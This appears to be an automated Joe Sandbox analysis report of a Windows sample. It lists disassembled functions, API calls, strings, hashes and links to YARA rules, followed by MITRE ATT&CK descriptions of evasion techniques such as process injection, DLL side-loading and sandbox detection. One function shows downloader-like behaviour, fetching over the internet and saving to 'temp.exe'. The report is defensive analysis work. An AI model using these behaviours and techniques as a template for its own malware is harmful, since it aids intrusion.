Instruction ID: 70d014d6af16b309a74913ea388d3b62873b9ab0e2d5c0d3e740364bd172cfc2
Opcode Fuzzy Hash: 3b48abbe099dbf6e61f342c1de1d7cd417183d79b9c2dd3db9c0bcf1761b08ea
Instruction Fuzzy Hash: B221C5F1620A26BFDB20AF65D88596BB7AAFF14360B518528F81D97250D770FC208F90

Function 0023661F Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00236627

Part of subcall function 0023657C: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00235430,?,00000000,-00000008), ref: 002365DD

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0023665F
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0023667F

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 10820fcfda1e31ef2f46fea716fdde4eea5e77cf1ea320c283e3ed6e1a948a4f
Instruction ID: 4bf06061fdb47ddbfb256633b6c745df1cae414528f82a4f11ca58c28e62131c
Opcode Fuzzy Hash: 10820fcfda1e31ef2f46fea716fdde4eea5e77cf1ea320c283e3ed6e1a948a4f
Instruction Fuzzy Hash: 6611C4F5931616BEAA112BB6AC8ECAF696CEE463D4B104128FC0192101EA75CD604EB5

Function 0020E0D4 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0020E0DB
_Func_class.LIBCONCRT ref: 0020E12D
_Func_class.LIBCONCRT ref: 0020E17F
_Func_class.LIBCONCRT ref: 0020E192

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: Func_class$H_prolog3
String ID:
API String ID: 3413606670-0
Opcode ID: a7ec07360c5c5cad71c24db494fd1f22da418231d4eb2d5b5b7b709dca0a2ec6
Instruction ID: 74003cf1057b5e183f2ac1d50efc358212d551ee9309e9f404e01fb2c545d451
Opcode Fuzzy Hash: a7ec07360c5c5cad71c24db494fd1f22da418231d4eb2d5b5b7b709dca0a2ec6
Instruction Fuzzy Hash: C2216D7091538CDFCF01DFA8C5946DCBBB4AF18300F6440A9E809A7282C7748A98CB95

Function 0023E437 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0023B2A1,00000000,00000001,?,?,?,0023072A,?,00000000,00000000), ref: 0023E44E
GetLastError.KERNEL32(?,0023B2A1,00000000,00000001,?,?,?,0023072A,?,00000000,00000000,?,?,?,00230CCD,?), ref: 0023E45A

Part of subcall function 0023E420: CloseHandle.KERNEL32(FFFFFFFE,0023E46A,?,0023B2A1,00000000,00000001,?,?,?,0023072A,?,00000000,00000000,?,?), ref: 0023E430

___initconout.LIBCMT ref: 0023E46A

Part of subcall function 0023E3D6: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0023E405,0023B28E,?,?,0023072A,?,00000000,00000000,?), ref: 0023E3E9

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,0023B2A1,00000000,00000001,?,?,?,0023072A,?,00000000,00000000,?), ref: 0023E47F

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: fe28f9a170b47199e68a8f1742668d6348f05df77e84cbf3a7cf84a2f45f4532
Instruction ID: 3d7ea87d428e955267f34fa812b081615b529daefd8bea7c7990c6f2c265f38c
Opcode Fuzzy Hash: fe28f9a170b47199e68a8f1742668d6348f05df77e84cbf3a7cf84a2f45f4532
Instruction Fuzzy Hash: B5F0C03A510369BBCF222FD5EC0CA9A3F66FB4A7A1F054010FA1D95171DB328870DBA1

Function 00230BEB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 196fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00230338: GetConsoleOutputCP.KERNEL32(07CD655B,00000000,00000000,?), ref: 0023039B

WriteFile.KERNEL32(?,00000000,00000000,b:",00000000,?,00000000,?,?,00223A62,?,00000000,?,?,?,?), ref: 00230D70
GetLastError.KERNEL32(?,00223A62,?,00000000,?,?,?,?,?,00000000,00000000,00000000), ref: 00230D7A

Strings

b:", xrefs: 00230D65, 00230D68

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID: b:"
API String ID: 2915228174-1155226049
Opcode ID: 021a70730da5f9a9a1d0bcb78cf84b638059a8e32b71d9813957f871ec02dc8b
Instruction ID: 866dd2360df8cb881174338599ac422de498555892c33e13c85a4a495c331c45
Opcode Fuzzy Hash: 021a70730da5f9a9a1d0bcb78cf84b638059a8e32b71d9813957f871ec02dc8b
Instruction Fuzzy Hash: DA6192B192025EAFDF11DFA8D8D5AEEBBB9EF09304F140546E904A7212D371D921CBA0

Function 00211263 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0021126A

Strings

iterator out of range, xrefs: 002112B0
iterator does not fit current value, xrefs: 00211395

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_
String ID: iterator does not fit current value$iterator out of range
API String ID: 2427045233-1046077056
Opcode ID: b8a42af300a83923128b2a3d4f04dd8544d7b07a0d71983ae5927947315a08dd
Instruction ID: 8441adb3f5552b22cf5e0d4f6bf3feb37a96f4900fd24ffdf85012c2d74ea252
Opcode Fuzzy Hash: b8a42af300a83923128b2a3d4f04dd8544d7b07a0d71983ae5927947315a08dd
Instruction Fuzzy Hash: 8E41E131924309EFDB04EF60D492AEEB7B5AF15310F20409AFA11AB1D2DB705EA5CB91

Function 00222ADD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00222B02

Strings

MOC, xrefs: 00222B14
RCC, xrefs: 00222B1C

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 41f0108df23a6e0bca9da1a20f05ab60684b5859a3ce0e739e29735ce4d766ed
Instruction ID: 8d9430f95f6f8b8c933d3e66a30f3d2df439002dd6812bbacb87ef1dba38f5cc
Opcode Fuzzy Hash: 41f0108df23a6e0bca9da1a20f05ab60684b5859a3ce0e739e29735ce4d766ed
Instruction Fuzzy Hash: 8741797191021AFFCF16DF98E981AEEBBB5FF08304F148099F904A7221D3369A64DB50

Function 002176CE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 002176D8

Part of subcall function 002061C0: __EH_prolog3_GS.LIBCMT ref: 002061C7
Part of subcall function 002061C0: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000,00000000,2226158375018974002), ref: 0020629D

Part of subcall function 0020B3E8: __EH_prolog3.LIBCMT ref: 0020B3EF

Part of subcall function 0020E19F: __EH_prolog3.LIBCMT ref: 0020E1A6

Strings

temp.exe, xrefs: 002177C7
Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603, xrefs: 002176E4

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3H_prolog3_$InternetOpen
String ID: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603$temp.exe
API String ID: 2236497292-3505050493
Opcode ID: ea2d35f3c908ac8ccea3e4c88234325743d56a9a1c30a720a4271273d1371da1
Instruction ID: 4e858512a6b20d864f526fbd9a71ccc358bff61c564b714e7de9486cc1dacae7
Opcode Fuzzy Hash: ea2d35f3c908ac8ccea3e4c88234325743d56a9a1c30a720a4271273d1371da1
Instruction Fuzzy Hash: 48415A32D20348AAEB15EBB4C896BDDB775AF54300F5084A8E505B70D3EB745B68CF62

Function 0021C0F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 101COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0021C0F7

Strings

stoull argument out of range, xrefs: 0021C267
invalid stoull argument, xrefs: 0021C25D

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_catch_
String ID: invalid stoull argument$stoull argument out of range
API String ID: 1329019490-980025665
Opcode ID: b6e6b5be88c597bede1058b01dd1657bac844d22bb19622281c3818e68641897
Instruction ID: 5b03129049dd8ca274dd2d064d4e72b87589b8aed0c6fdc0cef2060746807c48
Opcode Fuzzy Hash: b6e6b5be88c597bede1058b01dd1657bac844d22bb19622281c3818e68641897
Instruction Fuzzy Hash: 1A412831D10258EFCB04DF98C881ADCBBF1BF64314F248259E815AB292D770AEA1CF54

Function 0020E5D5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0020E5DF

Strings

value, xrefs: 0020EEAB
H, xrefs: 0020EF2F

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_
String ID: H$value
API String ID: 2427045233-2917141609
Opcode ID: c1599c21ebfb09a655b261695c2869f150d4b943c7d2e3e4c35b696ff553f2ed
Instruction ID: ab9b39806a02fcbdd982a1fdba15ea26e773eb09064c23d90ff0eb13f61a3973
Opcode Fuzzy Hash: c1599c21ebfb09a655b261695c2869f150d4b943c7d2e3e4c35b696ff553f2ed
Instruction Fuzzy Hash: AB3197B1D20248EEEB04DBA4C946BEEBBB4AF19314F5045A9E508A7183D7785F09CF12

Function 0020F10F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0020F119

Strings

value, xrefs: 0020F930
H, xrefs: 0020F9B3

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_
String ID: H$value
API String ID: 2427045233-2917141609
Opcode ID: 9539f7d417d5994ffe1253d011450999eb7b6370ce1ea2937ad87273996e0f6d
Instruction ID: d549e9bcf30470e3a0efe4703af14d33ef3e9c4c5ed9279591cd0980844db996
Opcode Fuzzy Hash: 9539f7d417d5994ffe1253d011450999eb7b6370ce1ea2937ad87273996e0f6d
Instruction Fuzzy Hash: B931A9B1D20348EEEB14DBA8C945BDDBBB4AF19310F5085A9E108B7282DB745A08CF21

Function 00205FB9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00205FC0

Part of subcall function 00205D26: __EH_prolog3_GS.LIBCMT ref: 00205D2D

Strings

, column , xrefs: 00206045
at line , xrefs: 0020602F

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3H_prolog3_
String ID: at line $, column
API String ID: 3355343447-191570568
Opcode ID: bd810248da179a6972a6c52b49fe50656bd878aeac5fd9c578559a53332054dd
Instruction ID: 20e7e0616913cc15300b05aabb1fd0d28234aacaa31cdf5bef247252e074345b
Opcode Fuzzy Hash: bd810248da179a6972a6c52b49fe50656bd878aeac5fd9c578559a53332054dd
Instruction Fuzzy Hash: 0C219D70E103059FDB48EF68D9567AEBBB1AF84300F54456AE115E73C2DBB45A10CF92

Function 002135AF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 002135B6

Part of subcall function 00205EB3: __EH_prolog3.LIBCMT ref: 00205EBA

Part of subcall function 0020E283: __EH_prolog3.LIBCMT ref: 0020E28A

Part of subcall function 00205E6C: __EH_prolog3.LIBCMT ref: 00205E73

Strings

type_error, xrefs: 002135E1
J , xrefs: 00213610, 0021364B, 00213650, 00213677, 00213654

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3$H_prolog3_
String ID: J $type_error
API String ID: 4240126716-1852224253
Opcode ID: 79f8b71534bfeda7b4377c7f158db850be5ef228c8239575b3e6fa2d488da768
Instruction ID: 3887ef6187be6854a73a92f6ee541f500d75cd9394c1e09d488aeb8461ef26bd
Opcode Fuzzy Hash: 79f8b71534bfeda7b4377c7f158db850be5ef228c8239575b3e6fa2d488da768
Instruction Fuzzy Hash: 00218970C24348EADB04EBE8D895ADDBBB0BF15300F90815DE5446B2C2DBB41A58CB52

Function 00206543 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0020654D

Strings

/?#, xrefs: 002065AB, 00206613
://, xrefs: 0020656B

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_
String ID: /?#$://
API String ID: 2427045233-1756703676
Opcode ID: 6b809667ebc0690d7e1bc766a8afb3540ba3e58ab98ab58ed28939c5ad2c45d1
Instruction ID: 412e8a15658a45b40e6c517228019a8139df78e4ebbaed47cdc33baa111895db
Opcode Fuzzy Hash: 6b809667ebc0690d7e1bc766a8afb3540ba3e58ab98ab58ed28939c5ad2c45d1
Instruction Fuzzy Hash: 9B1157715303648ECF2D9F245C997FA7A649B41324F6002ADE562571C3CBB149B48EA0

Function 00217B46 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00217B4D

Part of subcall function 0020A6BD: __EH_prolog3.LIBCMT ref: 0020A6C4

Strings

3e3, xrefs: 00217B7E
4e4, xrefs: 00217B90

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3
String ID: 3e3$4e4
API String ID: 431132790-2404590204
Opcode ID: 13b0bd5d956bbed603a0582478526431f5d2c05730a7722bbe151abb34ab832c
Instruction ID: 6823ce884f0b489b7477ab11d78ed7b3e69fa6f0fab16fa612132a210d88b88e
Opcode Fuzzy Hash: 13b0bd5d956bbed603a0582478526431f5d2c05730a7722bbe151abb34ab832c
Instruction Fuzzy Hash: 7D11E571A20709AFDB58EFBCC84569EB6F4AB44324F104B3EE026D32D2CB748E148B51

Function 00216D27 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00216D2E

Strings

: 0x, xrefs: 00216D8B
invalid UTF-8 byte at index , xrefs: 00216D77

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3
String ID: : 0x$invalid UTF-8 byte at index
API String ID: 431132790-1231261809
Opcode ID: 647ba802f4b7e98095dfc73d69b2b8073608e1bab5bb667fb4fb00bda1522832
Instruction ID: a235d7c81e1c175280541d8a94aecd73b665fc4d7736032bcd53f8fd6d165a98
Opcode Fuzzy Hash: 647ba802f4b7e98095dfc73d69b2b8073608e1bab5bb667fb4fb00bda1522832
Instruction Fuzzy Hash: AA012C70B14305ABDB48AF78D8C155DB6A16F48304B40487DB406EB383CA7499248F55

Function 002156A3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 002156AA

Part of subcall function 002168CD: __EH_prolog3.LIBCMT ref: 002168D4

Strings

.txt, xrefs: 002156B1
1735725670, xrefs: 002156F2

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3H_prolog3_
String ID: .txt$1735725670
API String ID: 3355343447-527677385
Opcode ID: d6867d4b9590dd29e8debf030050cce1d2a52fddf77d7b8e78402c725991ba93
Instruction ID: 069fcd7b590d92c70b809942d9ad5be44fd06e13e6c07e8f52bc908952981e3f
Opcode Fuzzy Hash: d6867d4b9590dd29e8debf030050cce1d2a52fddf77d7b8e78402c725991ba93
Instruction Fuzzy Hash: 1201AD71A21718CBCF09EBA0E86AADCB7B1AF58321F508119E101270D3DF705E55CF9A

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

